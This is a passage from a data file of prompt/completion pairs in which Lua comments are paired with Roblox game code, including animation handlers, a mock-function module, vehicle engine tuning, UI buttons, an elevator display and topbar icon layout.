= 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--iMad--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.iMad:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- how to annotate this function", "completion": "\nfunction ModuleMockerClass:_ensureMockState(f): MockFunctionState\n\tlocal state = self._mockState[f]\n\tif not state then\n\t\tstate = self:_defaultMockState()\n\t\tself._mockState[f] = state\n\tend\n\n\treturn state\nend\n\nfunction ModuleMockerClass:_defaultMockConfig(): MockFunctionConfig\n\treturn {\n\t\tmockImpl = nil,\n\t\tmockName = \"jest.fn()\",\n\t\tspecificMockImpls = {},\n\t\tspecificReturnValues = {},\n\t}\nend\n\nfunction ModuleMockerClass:_defaultMockState()\n\treturn {\n\t\tcalls = {},\n\t\tinstances = {},\n\t\tinvocationCallOrder = {},\n\t\tresults = {},\n\t}\nend\n\nfunction ModuleMockerClass:_makeComponent(metadata: any, restore)\n\tif metadata.type == \"function\" then\n\t\tlocal mocker = self\n\n\t\tlocal mockConstructor = function(f, ...)\n\t\t\tlocal args = { ... }\n\n\t\t\tlocal mockState = mocker:_ensureMockState(f)\n\t\t\tlocal mockConfig = mocker:_ensureMockConfig(f)\n\n\t\t\ttable.insert(mockState.instances, f)\n\t\t\t-- ROBLOX deviation: We use a Symbol meant to represent nil instead of\n\t\t\t-- actual nil values to help with handling nil values\n\t\t\tfor i = 1, select(\"#\", ...) do\n\t\t\t\tif args[i] == nil then\n\t\t\t\t\targs[i] = Symbol.for_(\"$$nil\")\n\t\t\t\tend\n\t\t\tend\n\t\t\ttable.insert(mockState.calls, args)\n\n\t\t\t-- Create and record an \"incomplete\" mock result immediately upon\n\t\t\t-- calling rather than waiting for the mock to return. This avoids\n\t\t\t-- issues caused by recursion where results can be recorded in the\n\t\t\t-- wrong order.\n\t\t\tlocal mockResult = {\n\t\t\t\ttype = \"incomplete\",\n\t\t\t\tvalue = nil,\n\t\t\t}\n\n\t\t\ttable.insert(mockState.results, mockResult)\n\t\t\ttable.insert(mockState.invocationCallOrder, mocker._invocationCallCounter)\n\t\t\tself._invocationCallCounter = self._invocationCallCounter + 1\n\n\t\t\t-- ROBLOX deviation: omitted finalReturnValue, thrownError, and\n\t\t\t-- callDidThrowError as we get this state for free with our\n\t\t\t-- pcall error handling\n\n\t\t\tlocal ok, result = pcall(function(args_)\n\t\t\t\t-- ROBLOX deviation: omitted section of code dealing with calling\n\t\t\t\t-- function as constructor\n\t\t\t\tlocal specificMockImpl = Array.shift(mockConfig.specificMockImpls)\n\t\t\t\tif specificMockImpl == nil then\n\t\t\t\t\tspecificMockImpl = mockConfig.mockImpl\n\t\t\t\tend\n\n\t\t\t\tif specificMockImpl then\n\t\t\t\t\treturn specificMockImpl(unpack(args_))\n\t\t\t\tend\n\n\t\t\t\t-- ROBLOX deviation: omitted section on f._protoImpl\n\t\t\t\treturn nil\n\t\t\tend, { ... })\n\n\t\t\tif not ok then\n\t\t\t\tmockResult.type = \"throw\"\n\t\t\t\tmockResult.value = result\n\n\t\t\t\terror(result)\n\t\t\tend\n\n\t\t\tmockResult.type = \"return\"\n\t\t\tmockResult.value = result\n\n\t\t\treturn result\n\t\tend\n\n\t\tlocal f = setmetatable({}, { __call = mockConstructor })\n\n\t\tf._isMockFunction = true\n\t\tf.getMockImplementation = function()\n\t\t\treturn self:_ensureMockConfig(f).mockImpl\n\t\tend\n\n\t\tif typeof(restore) == \"function\" then\n\t\t\tself._spyState.add(restore)\n\t\tend\n\n\t\tself._mockState[f] = self._defaultMockState()\n\t\tself._mockConfigRegistry[f] = self._defaultMockConfig()\n\n\t\tf.mock = setmetatable({}, {\n\t\t\t__index = function(tbl, key)\n\t\t\t\treturn self:_ensureMockState(f)[key]\n\t\t\tend,\n\t\t\t-- ROBLOX deviation: for now we don't have newindex defined as we don't have any use cases\n\t\t\t-- but it should look something like the following\n\t\t\t-- __newindex = function(table, key, value)\n\t\t\t-- \t\tlocal state = self:_ensureMockState(f)\n\t\t\t-- \t\tstate[key] = value\n\t\t\t-- \t\treturn state\n\t\t\t-- \tend\n\t\t})\n\n\t\tf.mockClear = function()\n\t\t\tself._mockState[f] = nil\n\t\t\treturn f\n\t\tend\n\n\t\tf.mockReset = function()\n\t\t\tf.mockClear()\n\t\t\tself._mockConfigRegistry[f] = nil\n\t\t\treturn f\n\t\tend\n\n\t\tf.mockRestore = function()\n\t\t\tf.mockReset()\n\t\t\tif restore then\n\t\t\t\treturn restore()\n\t\t\telse\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\n\t\t-- ROBLOX deviation: omitted mockResolvedValue and mockRejectedValue\n\n\t\tf.mockImplementationOnce = function(fn)\n\t\t\t-- next function call will use this mock implementation return value\n\t\t\t-- or default mock implementation return value\n\t\t\tlocal mockConfig = self:_ensureMockConfig(f)\n\t\t\ttable.insert(mockConfig.specificMockImpls, fn)\n\t\t\treturn f\n\t\tend\n\n\t\tf.mockImplementation = function(fn)\n\t\t\t-- next function call will use mock implementation return value\n\t\t\tlocal mockConfig = self:_ensureMockConfig(f)\n\t\t\tmockConfig.mockImpl = fn\n\t\t\treturn f\n\t\tend\n\n\t\tf.mockReturnValueOnce = function(value)\n\t\t\t-- next function call will return this value or default return value\n\t\t\treturn f.mockImplementationOnce(function()\n\t\t\t\treturn value\n\t\t\tend)\n\t\tend\n\n\t\t-- ROBLOX deviation: omitted mockResolvedValueOnce and mockRejectedValueOnce\n\n\t\tf.mockReturnValue = function(value)\n\t\t\t-- next function call will return specified return value or this one\n\t\t\treturn f.mockImplementation(function()\n\t\t\t\treturn value\n\t\t\tend)\n\t\tend\n\n\t\tf.mockReturnThis = function()\n\t\t\treturn f.mockImplementation(function(this)\n\t\t\t\treturn f\n\t\t\tend)\n\t\tend\n\n\t\tf.mockName = function(name)\n\t\t\tif name then\n\t\t\t\tlocal mockConfig = self:_ensureMockConfig(f)\n\t\t\t\tmockConfig.mockName = name\n\t\t\tend\n\t\t\treturn f\n\t\tend\n\n\t\tf.getMockName = function()\n\t\t\tlocal mockConfig = self:_ensureMockConfig(f)\n\t\t\treturn mockConfig.mockName or \"jest.fn()\"\n\t\tend\n\n\t\t-- ROBLOX deviation: Since we don't have the new keyword in Lua, we add a\n\t\t-- fn.new() function\n\t\tf.new = function(...)\n\t\t\tf(...)\n\t\t\treturn f\n\t\tend\n\n\t\tif metadata.mockImpl then\n\t\t\tf.mockImplementation(metadata.mockImpl)\n\t\tend\n\n\t\treturn f\n\telse\n\t\terror(\"Call to _makeComponent with non-function\")\n\tend\nend\n\nfunction ModuleMockerClass:_createMockFunction(metadata, mockConstructor)\n\tlocal name = metadata.name\n\tif not name then\n\t\treturn mockConstructor\n\tend\n\n\t-- ROBLOX TODO: Implement more advanced case for keeping name rather than just returning mockConstructor\n\treturn mockConstructor\nend\n\nfunction ModuleMockerClass:isMockFunction(fn: any)\n\treturn typeof(fn) == \"table\" and fn._isMockFunction == true\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 415\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 900\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 9200\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 9700\n\tTune.EqPoint\t\t= 7250\n\tTune.PeakSharpness\t= 9.5\n\tTune.CurveMult\t\t= 0.15\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--[[\n\tExtension of Lua's 'assert' that lets you specify an error level.\n]]", "completion": "\nlocal function assertLevel(condition, message, level)\n\tmessage = message or \"Assertion failed!\"\n\tlevel = level or 1\n\n\tif not condition then\n\t\terror(message, level + 1)\n\tend\nend\n"} +{"prompt": "--[[**\n\tensures Roblox Random type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Random = primitive(\"Random\")\n"} +{"prompt": "--Constructor and destructor", "completion": "\nfunction touch_button:New(parent_frame, pos, size)\n\t--Initialize meta reference\n\tlocal self = setmetatable({}, {__index = touch_button})\n\n\t--Create button\n\tself.button = Instance.new(\"ImageButton\")\n\tself.button.Name = \"Button\"\n\tself.button.BackgroundTransparency = 1\n\tself.button.ImageTransparency = 1\n\tself.button.ImageColor3 = released_col\n\tself.button.Active = false\n\tself.button.Size = size\n\tself.button.Position = pos\n\tself.button.Parent = parent_frame\n\n\t--Initialize state\n\tself.pressed = false\n\tself.move_touch_input = nil\n\tself.enabled = false\n\n\t--Input connections\n\tself.input_connections = {\n\t\tself.button.InputBegan:Connect(function(input)\n\t\t\t--Make sure input is a valid state\n\t\t\tif self.enabled == false or self.move_touch_input ~= nil or input.UserInputType ~= Enum.UserInputType.Touch or input.UserInputState ~= Enum.UserInputState.Begin then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t--Start holding button\n\t\t\tself.move_touch_input = input\n\t\t\tself.button.ImageColor3 = pressed_col\n\t\t\tself.pressed = true\n\t\tend),\n\t\tuis.TouchEnded:Connect(function(input, processed)\n\t\t\tif input == self.move_touch_input then\n\t\t\t\tOnInputEnded(self)\n\t\t\tend\n\t\tend),\n\t\tgui_service.MenuOpened:Connect(function()\n\t\t\tif self.move_touch_input ~= nil then\n\t\t\t\tOnInputEnded(self)\n\t\t\tend\n\t\tend),\n\t}\n\n\treturn self\nend\n\nfunction touch_button:Destroy()\n\t--Disconnect connections\n\tif self.input_connections ~= nil then\n\t\tfor _,v in pairs(self.input_connections) do\n\t\t\tv:Disconnect()\n\t\tend\n\t\tself.input_connections = nil\n\tend\n\n\t--Destroy button\n\tif self.button ~= nil then\n\t\tself.button:Destroy()\n\t\tself.button = nil\n\tend\nend\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 150; -- 60 = 1 Minute, 150 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 4; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 450\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 7000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 5 \t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- map to surface gui", "completion": "\nlocal welcomeMenuGui = screenGui.SurfaceGui\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nActiveCol = \"Neon orange\"\nInactiveCol = \"Black\"\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nLift:WaitForChild(\"Velocity\").Changed:connect(function(val)\n --custom indicator code--\n\tif val == 0 then\n\t\tfor i=1,8,1 do\n\t\t\tChangeFloor(tostring(\"NIL\"))\n\t\t\twait(0.2)\n\t\t\tChangeFloor(tostring(Lift:WaitForChild(\"Floor\").Value))\n\t\t\twait(0.2)\n\t\tend\n\tend\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,13 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveCol) or BrickColor.new(InactiveCol))\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Material = (l:sub(r,r) == \"1\" and \"Neon\" or \"SmoothPlastic\")\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--Defines variables, pretty much to make things shorter", "completion": "\n\nlocal MaxAmmo = 20\nlocal Ammo = MaxAmmo\nlocal Reloading = false\nlocal Player = game.Players.LocalPlayer\nlocal PlayerGui = Player:WaitForChild(\"PlayerGui\")\nlocal TextLabel = PlayerGui:WaitForChild(\"AmmoDisplay\"):FindFirstChild(\"AmmoText\")\n"} +{"prompt": "-- Load and configure the animations", "completion": "\nlocal attackIdleAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackIdleAnimation)\nattackIdleAnimation.Looped = true\nattackIdleAnimation.Priority = Enum.AnimationPriority.Action\nmaid.attackIdleAnimation = attackIdleAnimation\n\nlocal attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)\nattackAnimation.Looped = false\nattackAnimation.Priority = Enum.AnimationPriority.Action\nmaid.attackAnimation = attackAnimation\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction animateTool()\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction stepAnimate(currentTime)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n\tlocal deltaTime = currentTime - lastTick\n\tlastTick = currentTime\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n\tif jumpAnimTime > 0 then\n\t\tjumpAnimTime = jumpAnimTime - deltaTime\n\tend\n\n\tif pose == \"FreeFall\" and jumpAnimTime <= 0 then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = Character:FindFirstChildOfClass(\"Tool\")\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = currentTime + .3\n\t\tend\n\t\tif currentTime > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\t\tanimateTool()\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "-- This is responsible for positioning the topbar icons", "completion": "\nlocal requestedTopbarUpdate = false\nfunction IconController.updateTopbar()\n\tlocal function getIncrement(otherIcon, alignment)\n\t\t--local container = otherIcon.instances.iconContainer\n\t\t--local sizeX = container.Size.X.Offset\n\t\tlocal iconSize = otherIcon:get(\"iconSize\", otherIcon:getIconState()) or UDim2.new(0, 32, 0, 32)\n\t\tlocal sizeX = iconSize.X.Offset\n\t\tlocal alignmentGap = IconController[alignment .. \"Gap\"]\n\t\tlocal iconWidthAndGap = (sizeX + alignmentGap)\n\t\tlocal increment = iconWidthAndGap\n\t\tlocal preOffset = 0\n\t\tif otherIcon._parentIcon == nil then\n\t\t\tlocal extendLeft, extendRight, additionalRight = IconController.getMenuOffset(otherIcon)\n\t\t\tpreOffset += extendLeft\n\t\t\tincrement += extendRight + additionalRight\n\t\tend\n\t\treturn increment, preOffset\n\tend\n\tif topbarUpdating then -- This prevents the topbar updating and shifting icons more than it needs to\n\t\trequestedTopbarUpdate = true\n\t\treturn false\n\tend\n\tcoroutine.wrap(function()\n\t\ttopbarUpdating = true\n\t\trunService.Heartbeat:Wait()\n\t\ttopbarUpdating = false\n\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\talignmentInfo.records = {}\n\t\tend\n\n\t\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\t\tif IconController.canShowIconOnTopbar(otherIcon) then\n\t\t\t\tlocal alignment = otherIcon:get(\"alignment\")\n\t\t\t\ttable.insert(alignmentDetails[alignment].records, otherIcon)\n\t\t\tend\n\t\tend\n\t\tlocal viewportSize = workspace.CurrentCamera.ViewportSize\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\tlocal records = alignmentInfo.records\n\t\t\tif #records > 1 then\n\t\t\t\tif alignmentInfo.reverseSort then\n\t\t\t\t\ttable.sort(records, function(a, b)\n\t\t\t\t\t\treturn a:get(\"order\") > b:get(\"order\")\n\t\t\t\t\tend)\n\t\t\t\telse\n\t\t\t\t\ttable.sort(records, function(a, b)\n\t\t\t\t\t\treturn a:get(\"order\") < b:get(\"order\")\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\t\tlocal totalIconX = 0\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal increment = getIncrement(otherIcon, alignment)\n\t\t\t\ttotalIconX = totalIconX + increment\n\t\t\tend\n\t\t\tlocal offsetX = alignmentInfo.getStartOffset(totalIconX, alignment)\n\t\t\tlocal preOffsetX = offsetX\n\t\t\tlocal containerX = TopbarPlusGui.TopbarContainer.AbsoluteSize.X\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal increment, preOffset = getIncrement(otherIcon, alignment)\n\t\t\t\tlocal newAbsoluteX = alignmentInfo.startScale * containerX + preOffsetX + preOffset\n\t\t\t\tpreOffsetX = preOffsetX + increment\n\t\t\tend\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal container = otherIcon.instances.iconContainer\n\t\t\t\tlocal increment, preOffset = getIncrement(otherIcon, alignment)\n\t\t\t\tlocal topPadding = otherIcon.topPadding\n\t\t\t\tlocal newPositon =\n\t\t\t\t\tUDim2.new(alignmentInfo.startScale, offsetX + preOffset, topPadding.Scale, topPadding.Offset)\n\t\t\t\tlocal isAnOverflowIcon = string.match(otherIcon.name, \"_overflowIcon-\")\n\t\t\t\tlocal repositionInfo = otherIcon:get(\"repositionInfo\")\n\t\t\t\tif repositionInfo then\n\t\t\t\t\ttweenService:Create(container, repositionInfo, { Position = newPositon }):Play()\n\t\t\t\telse\n\t\t\t\t\tcontainer.Position = newPositon\n\t\t\t\tend\n\t\t\t\toffsetX = offsetX + increment\n\t\t\t\totherIcon.targetPosition = UDim2.new(\n\t\t\t\t\t0,\n\t\t\t\t\t(newPositon.X.Scale * viewportSize.X) + newPositon.X.Offset,\n\t\t\t\t\t0,\n\t\t\t\t\t(newPositon.Y.Scale * viewportSize.Y) + newPositon.Y.Offset\n\t\t\t\t)\n\t\t\tend\n\t\tend\n\n\t\t-- OVERFLOW HANDLER\n\t\t--------\n\t\tlocal START_LEEWAY = 10 -- The additional offset where the end icon will be converted to ... without an apparant change in position\n\t\tlocal function getBoundaryX(iconToCheck, side, gap)\n\t\t\tlocal additionalGap = gap or 0\n\t\t\tlocal currentSize = iconToCheck:get(\"iconSize\", iconToCheck:getIconState())\n\t\t\tlocal sizeX = currentSize.X.Offset\n\t\t\tlocal extendLeft, extendRight = IconController.getMenuOffset(iconToCheck)\n\t\t\tlocal boundaryXOffset = (side == \"left\" and (-additionalGap - extendLeft))\n\t\t\t\tor (side == \"right\" and sizeX + additionalGap + extendRight)\n\t\t\tlocal boundaryX = iconToCheck.targetPosition.X.Offset + boundaryXOffset\n\t\t\treturn boundaryX\n\t\tend\n\t\tlocal function getSizeX(iconToCheck, usePrevious)\n\t\t\tlocal currentSize, previousSize = iconToCheck:get(\"iconSize\", iconToCheck:getIconState(), \"beforeDropdown\")\n\t\t\tlocal hoveringSize = iconToCheck:get(\"iconSize\", \"hovering\")\n\t\t\tif\n\t\t\t\ticonToCheck.wasHoveringBeforeOverflow\n\t\t\t\tand previousSize\n\t\t\t\tand hoveringSize\n\t\t\t\tand hoveringSize.X.Offset > previousSize.X.Offset\n\t\t\tthen\n\t\t\t\t-- This prevents hovering icons flicking back and forth, demonstrated at thread/1017485/191.\n\t\t\t\tpreviousSize = hoveringSize\n\t\t\tend\n\t\t\tlocal newSize = (usePrevious and previousSize) or currentSize\n\t\t\tlocal extendLeft, extendRight = IconController.getMenuOffset(iconToCheck)\n\t\t\tlocal sizeX = newSize.X.Offset + extendLeft + extendRight\n\t\t\treturn sizeX\n\t\tend\n\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\tlocal overflowIcon = alignmentInfo.overflowIcon\n\t\t\tif overflowIcon then\n\t\t\t\tlocal alignmentGap = IconController[alignment .. \"Gap\"]\n\t\t\t\tlocal oppositeAlignment = (alignment == \"left\" and \"right\") or \"left\"\n\t\t\t\tlocal oppositeAlignmentInfo = alignmentDetails[oppositeAlignment]\n\t\t\t\tlocal oppositeOverflowIcon = IconController.getIcon(\"_overflowIcon-\" .. oppositeAlignment)\n\n\t\t\t\t-- This determines whether any icons (from opposite or mid alignment) are overlapping with this alignment\n\t\t\t\tlocal overflowBoundaryX = getBoundaryX(overflowIcon, alignment)\n\t\t\t\tif overflowIcon.enabled then\n\t\t\t\t\toverflowBoundaryX = getBoundaryX(overflowIcon, oppositeAlignment, alignmentGap)\n\t\t\t\tend\n\t\t\t\tlocal function doesExceed(givenBoundaryX)\n\t\t\t\t\tlocal exceeds = (alignment == \"left\" and givenBoundaryX < overflowBoundaryX)\n\t\t\t\t\t\tor (alignment == \"right\" and givenBoundaryX > overflowBoundaryX)\n\t\t\t\t\treturn exceeds\n\t\t\t\tend\n\t\t\t\tlocal alignmentOffset = oppositeAlignmentInfo.getOffset()\n\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\talignmentOffset += START_LEEWAY\n\t\t\t\tend\n\t\t\t\tlocal alignmentBorderX = (alignment == \"left\" and viewportSize.X - alignmentOffset)\n\t\t\t\t\tor (alignment == \"right\" and alignmentOffset)\n\t\t\t\tlocal closestBoundaryX = alignmentBorderX\n\t\t\t\tlocal exceededCriticalBoundary = doesExceed(closestBoundaryX)\n\t\t\t\tlocal function checkBoundaryExceeded(recordToCheck)\n\t\t\t\t\tlocal totalIcons = #recordToCheck\n\t\t\t\t\tfor i = 1, totalIcons do\n\t\t\t\t\t\tlocal endIcon = recordToCheck[totalIcons + 1 - i]\n\t\t\t\t\t\tif IconController.canShowIconOnTopbar(endIcon) then\n\t\t\t\t\t\t\tlocal isAnOverflowIcon = string.match(endIcon.name, \"_overflowIcon-\")\n\t\t\t\t\t\t\tif isAnOverflowIcon and totalIcons ~= 1 then\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telseif isAnOverflowIcon and not endIcon.enabled then\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal additionalMyX = 0\n\t\t\t\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\t\t\t\tadditionalMyX = START_LEEWAY\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal myBoundaryX = getBoundaryX(endIcon, alignment, additionalMyX)\n\t\t\t\t\t\t\tlocal isNowClosest = (alignment == \"left\" and myBoundaryX < closestBoundaryX)\n\t\t\t\t\t\t\t\tor (alignment == \"right\" and myBoundaryX > closestBoundaryX)\n\t\t\t\t\t\t\tif isNowClosest then\n\t\t\t\t\t\t\t\tclosestBoundaryX = myBoundaryX\n\t\t\t\t\t\t\t\tif doesExceed(myBoundaryX) then\n\t\t\t\t\t\t\t\t\texceededCriticalBoundary = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcheckBoundaryExceeded(alignmentDetails[oppositeAlignment].records)\n\t\t\t\tcheckBoundaryExceeded(alignmentDetails.mid.records)\n\n\t\t\t\t-- This determines which icons to give to the overflow if an overlap is present\n\t\t\t\tif exceededCriticalBoundary then\n\t\t\t\t\tlocal recordToCheck = alignmentInfo.records\n\t\t\t\t\tlocal totalIcons = #recordToCheck\n\t\t\t\t\tfor i = 1, totalIcons do\n\t\t\t\t\t\tlocal endIcon = (alignment == \"left\" and recordToCheck[totalIcons + 1 - i])\n\t\t\t\t\t\t\tor (alignment == \"right\" and recordToCheck[i])\n\t\t\t\t\t\tif endIcon ~= overflowIcon and IconController.canShowIconOnTopbar(endIcon) then\n\t\t\t\t\t\t\tlocal additionalGap = alignmentGap\n\t\t\t\t\t\t\tlocal overflowIconSizeX = overflowIcon:get(\"iconSize\", overflowIcon:getIconState()).X.Offset\n\t\t\t\t\t\t\tif overflowIcon.enabled then\n\t\t\t\t\t\t\t\tadditionalGap += alignmentGap + overflowIconSizeX\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal myBoundaryXPlusGap = getBoundaryX(endIcon, oppositeAlignment, additionalGap)\n\t\t\t\t\t\t\tlocal exceeds = (alignment == \"left\" and myBoundaryXPlusGap >= closestBoundaryX)\n\t\t\t\t\t\t\t\tor (alignment == \"right\" and myBoundaryXPlusGap <= closestBoundaryX)\n\t\t\t\t\t\t\tif exceeds then\n\t\t\t\t\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\t\t\t\t\tlocal overflowContainer = overflowIcon.instances.iconContainer\n\t\t\t\t\t\t\t\t\tlocal yPos = overflowContainer.Position.Y\n\t\t\t\t\t\t\t\t\tlocal appearXAdditional = (alignment == \"left\" and -overflowContainer.Size.X.Offset)\n\t\t\t\t\t\t\t\t\t\tor 0\n\t\t\t\t\t\t\t\t\tlocal appearX = getBoundaryX(endIcon, oppositeAlignment, appearXAdditional)\n\t\t\t\t\t\t\t\t\toverflowContainer.Position = UDim2.new(0, appearX, yPos.Scale, yPos.Offset)\n\t\t\t\t\t\t\t\t\toverflowIcon:setEnabled(true)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif #endIcon.dropdownIcons > 0 then\n\t\t\t\t\t\t\t\t\tendIcon._overflowConvertedToMenu = true\n\t\t\t\t\t\t\t\t\tlocal wasSelected = endIcon.isSelected\n\t\t\t\t\t\t\t\t\tendIcon:deselect()\n\t\t\t\t\t\t\t\t\tlocal iconsToConvert = {}\n\t\t\t\t\t\t\t\t\tfor _, dIcon in pairs(endIcon.dropdownIcons) do\n\t\t\t\t\t\t\t\t\t\ttable.insert(iconsToConvert, dIcon)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tfor _, dIcon in pairs(endIcon.dropdownIcons) 